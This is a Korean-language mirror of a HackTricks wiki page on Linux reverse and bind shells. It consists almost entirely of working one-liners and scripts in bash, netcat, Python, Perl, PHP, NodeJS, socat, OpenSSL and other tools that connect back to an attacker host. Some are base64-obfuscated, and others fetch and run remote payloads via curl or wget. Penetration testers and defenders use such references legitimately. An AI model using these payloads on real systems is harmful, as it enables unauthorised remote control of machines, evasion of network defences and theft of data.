mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
367 lines
15 KiB
Markdown
367 lines
15 KiB
Markdown
# Shells - Linux
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**이 쉘에 대한 질문이 있으면** [**https://explainshell.com/**](https://explainshell.com) **에서 확인할 수 있습니다.**
|
||
|
||
## Full TTY
|
||
|
||
**리버스 쉘을 얻으면** [**전체 TTY를 얻으려면 이 페이지를 읽으세요**](full-ttys.md)**.**
|
||
|
||
## Bash | sh
|
||
```bash
|
||
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
||
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
||
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
||
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
|
||
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
|
||
|
||
#Short and bypass (credits to Dikline)
|
||
(sh)0>/dev/tcp/10.10.10.10/9091
|
||
#after getting the previous shell to get the output to execute
|
||
exec >&0
|
||
```
|
||
다른 셸(sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash)도 확인하는 것을 잊지 마세요.
|
||
|
||
### 기호 안전 셸
|
||
```bash
|
||
#If you need a more stable connection do:
|
||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||
|
||
#Stealthier method
|
||
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
||
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
||
```
|
||
#### Shell 설명
|
||
|
||
1. **`bash -i`**: 이 명령의 일부는 대화형(`-i`) Bash 셸을 시작합니다.
|
||
2. **`>&`**: 이 명령의 일부는 **표준 출력**(`stdout`)과 **표준 오류**(`stderr`)를 **같은 목적지로 리디렉션하는** 약식 표기법입니다.
|
||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 이는 **지정된 IP 주소와 포트에 대한 TCP 연결을 나타내는** 특수 파일입니다.
|
||
- **출력 및 오류 스트림을 이 파일로 리디렉션함으로써**, 명령은 대화형 셸 세션의 출력을 공격자의 머신으로 효과적으로 전송합니다.
|
||
4. **`0>&1`**: 이 명령의 일부는 **표준 입력(`stdin`)을 표준 출력(`stdout`)과 같은 목적지로 리디렉션합니다**.
|
||
|
||
### 파일 생성 및 실행
|
||
```bash
|
||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||
```
|
||
## Forward Shell
|
||
|
||
Linux 기반 웹 애플리케이션에서 **원격 코드 실행 (RCE)** 취약점을 다룰 때, 리버스 셸을 얻는 것이 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해받을 수 있습니다. 이러한 제한된 환경에서는 손상된 시스템과 더 효과적으로 상호작용하기 위해 PTY (가상 터미널) 셸을 설정하는 대안적 접근 방식이 있습니다.
|
||
|
||
이 목적을 위해 추천되는 도구는 [toboggan](https://github.com/n3rada/toboggan.git)으로, 이는 대상 환경과의 상호작용을 단순화합니다.
|
||
|
||
toboggan을 효과적으로 사용하려면, 대상 시스템의 RCE 맥락에 맞춘 Python 모듈을 생성해야 합니다. 예를 들어, `nix.py`라는 모듈은 다음과 같이 구성될 수 있습니다:
|
||
```python3
|
||
import jwt
|
||
import httpx
|
||
|
||
def execute(command: str, timeout: float = None) -> str:
|
||
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
|
||
token = jwt.encode(
|
||
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
|
||
)
|
||
|
||
response = httpx.get(
|
||
url="https://vulnerable.io:3200",
|
||
headers={"Authorization": f"Bearer {token}"},
|
||
timeout=timeout,
|
||
# ||BURP||
|
||
verify=False,
|
||
)
|
||
|
||
# Check if the request was successful
|
||
response.raise_for_status()
|
||
|
||
return response.text
|
||
```
|
||
그런 다음, 다음을 실행할 수 있습니다:
|
||
```shell
|
||
toboggan -m nix.py -i
|
||
```
|
||
대화형 셸을 직접 활용하려면 `-b`를 추가하여 Burpsuite 통합을 사용할 수 있으며, 더 기본적인 rce 래퍼를 위해 `-i`를 제거할 수 있습니다.
|
||
|
||
또 다른 가능성은 `IppSec` 포워드 셸 구현을 사용하는 것입니다 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||
|
||
다음 사항을 수정하기만 하면 됩니다:
|
||
|
||
- 취약한 호스트의 URL
|
||
- 페이로드의 접두사 및 접미사(있는 경우)
|
||
- 페이로드가 전송되는 방식(헤더? 데이터? 추가 정보?)
|
||
|
||
그런 다음 **명령을 전송**하거나 **`upgrade` 명령을 사용**하여 전체 PTY를 얻을 수 있습니다(파이프는 약 1.3초 지연으로 읽고 씁니다).
|
||
|
||
## Netcat
|
||
```bash
|
||
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
||
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
|
||
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||
```
|
||
## gsocket
|
||
|
||
[https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)에서 확인하세요.
|
||
```bash
|
||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||
```
|
||
## 텔넷
|
||
```bash
|
||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||
```
|
||
## Whois
|
||
|
||
**공격자**
|
||
```bash
|
||
while true; do nc -l <port>; done
|
||
```
|
||
명령을 보내려면 입력하고, Enter를 누르고, CTRL+D를 눌러 STDIN을 중지합니다.
|
||
|
||
**희생자**
|
||
```bash
|
||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||
```
|
||
## 파이썬
|
||
```bash
|
||
#Linux
|
||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||
#IPv6
|
||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||
```
|
||
## 펄
|
||
```bash
|
||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||
```
|
||
## 루비
|
||
```bash
|
||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||
```
|
||
## PHP
|
||
```php
|
||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||
|
||
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
|
||
// See https://security.stackexchange.com/a/198944 for more information
|
||
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
|
||
|
||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||
```
|
||
## 자바
|
||
```bash
|
||
r = Runtime.getRuntime()
|
||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||
p.waitFor()
|
||
```
|
||
## Ncat
|
||
```bash
|
||
victim> ncat <ip> <port,eg.443> --ssl -c "bash -i 2>&1"
|
||
attacker> ncat -l <port,eg.443> --ssl
|
||
```
|
||
## Golang
|
||
```bash
|
||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||
```
|
||
## 루아
|
||
```bash
|
||
#Linux
|
||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||
#Windows & Linux
|
||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||
```
|
||
## NodeJS
|
||
```javascript
|
||
(function(){
|
||
var net = require("net"),
|
||
cp = require("child_process"),
|
||
sh = cp.spawn("/bin/sh", []);
|
||
var client = new net.Socket();
|
||
client.connect(8080, "10.17.26.64", function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});
|
||
return /a/; // Prevents the Node.js application form crashing
|
||
})();
|
||
|
||
|
||
or
|
||
|
||
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
|
||
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
|
||
|
||
or
|
||
|
||
-var x = global.process.mainModule.require
|
||
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
|
||
|
||
or
|
||
|
||
// If you get to the constructor of a function you can define and execute another function inside a string
|
||
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
|
||
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
|
||
|
||
|
||
or
|
||
|
||
// Abuse this syntax to get a reverse shell
|
||
var fs = this.process.binding('fs');
|
||
var fs = process.binding('fs');
|
||
|
||
or
|
||
|
||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||
```
|
||
## Zsh (내장 TCP)
|
||
```bash
|
||
# Requires no external binaries; leverages zsh/net/tcp module
|
||
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'
|
||
```
|
||
## Rustcat (rcat)
|
||
|
||
[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – 현대적인 netcat과 유사한 리스너로 Rust로 작성됨 (2024년부터 Kali에 패키징됨).
|
||
```bash
|
||
# Attacker – interactive TLS listener with history & tab-completion
|
||
rcat listen -ib 55600
|
||
|
||
# Victim – download static binary and connect back with /bin/bash
|
||
curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_64 -o /tmp/rcat \
|
||
&& chmod +x /tmp/rcat \
|
||
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600
|
||
```
|
||
특징:
|
||
- 암호화된 전송을 위한 선택적 `--ssl` 플래그 (TLS 1.3)
|
||
- 피해자에게 임의의 바이너리(예: `/bin/sh`, `python3`)를 생성하기 위한 `-s`
|
||
- 완전한 대화형 PTY로 자동 업그레이드를 위한 `--up`
|
||
|
||
## revsh (암호화 및 피벗 준비 완료)
|
||
|
||
`revsh`는 **암호화된 Diffie-Hellman 터널**을 통해 전체 TTY를 제공하는 작은 C 클라이언트/서버이며, 선택적으로 **TUN/TAP** 인터페이스를 연결하여 리버스 VPN과 같은 피벗을 지원할 수 있습니다.
|
||
```bash
|
||
# Build (or grab a pre-compiled binary from the releases page)
|
||
git clone https://github.com/emptymonkey/revsh && cd revsh && make
|
||
|
||
# Attacker – controller/listener on 443 with a pinned certificate
|
||
revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
|
||
|
||
# Victim – reverse shell over TLS to the attacker
|
||
./revsh <ATTACKER-IP>:443
|
||
```
|
||
유용한 플래그:
|
||
- `-b` : 리버스 대신 바인드 셸
|
||
- `-p socks5://127.0.0.1:9050` : TOR/HTTP/SOCKS를 통한 프록시
|
||
- `-t` : TUN 인터페이스 생성 (리버스 VPN)
|
||
|
||
전체 세션이 암호화되고 다중화되기 때문에, 일반 텍스트 `/dev/tcp` 셸을 종료시킬 수 있는 간단한 아웃바운드 필터링을 종종 우회합니다.
|
||
|
||
## OpenSSL
|
||
|
||
공격자 (Kali)
|
||
```bash
|
||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||
```
|
||
희생자
|
||
```bash
|
||
#Linux
|
||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||
|
||
#Windows
|
||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||
```
|
||
## **Socat**
|
||
|
||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||
|
||
### 바인드 셸
|
||
```bash
|
||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||
```
|
||
### 리버스 셸
|
||
```bash
|
||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||
```
|
||
## Awk
|
||
```bash
|
||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||
```
|
||
## Finger
|
||
|
||
**공격자**
|
||
```bash
|
||
while true; do nc -l 79; done
|
||
```
|
||
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 누릅니다 (STDIN을 중지하려면).
|
||
|
||
**희생자**
|
||
```bash
|
||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
||
|
||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||
```
|
||
## Gawk
|
||
```bash
|
||
#!/usr/bin/gawk -f
|
||
|
||
BEGIN {
|
||
Port = 8080
|
||
Prompt = "bkd> "
|
||
|
||
Service = "/inet/tcp/" Port "/0/0"
|
||
while (1) {
|
||
do {
|
||
printf Prompt |& Service
|
||
Service |& getline cmd
|
||
if (cmd) {
|
||
while ((cmd |& getline) > 0)
|
||
print $0 |& Service
|
||
close(cmd)
|
||
}
|
||
} while (cmd != "exit")
|
||
close(Service)
|
||
}
|
||
}
|
||
```
|
||
## Xterm
|
||
|
||
이것은 포트 6001에서 귀하의 시스템에 연결을 시도할 것입니다:
|
||
```bash
|
||
xterm -display 10.0.0.1:1
|
||
```
|
||
역방향 셸을 잡기 위해 사용할 수 있는 것은 (포트 6001에서 수신 대기할 것입니다):
|
||
```bash
|
||
# Authorize host
|
||
xhost +targetip
|
||
# Listen
|
||
Xnest :1
|
||
```
|
||
## Groovy
|
||
|
||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 주의: Java reverse shell은 Groovy에서도 작동합니다.
|
||
```bash
|
||
String host="localhost";
|
||
int port=8044;
|
||
String cmd="cmd.exe";
|
||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||
```
|
||
## References
|
||
|
||
- [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||
- [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||
- [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||
- [https://github.com/robiot/rustcat](https://github.com/robiot/rustcat)
|
||
- [https://github.com/emptymonkey/revsh](https://github.com/emptymonkey/revsh)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|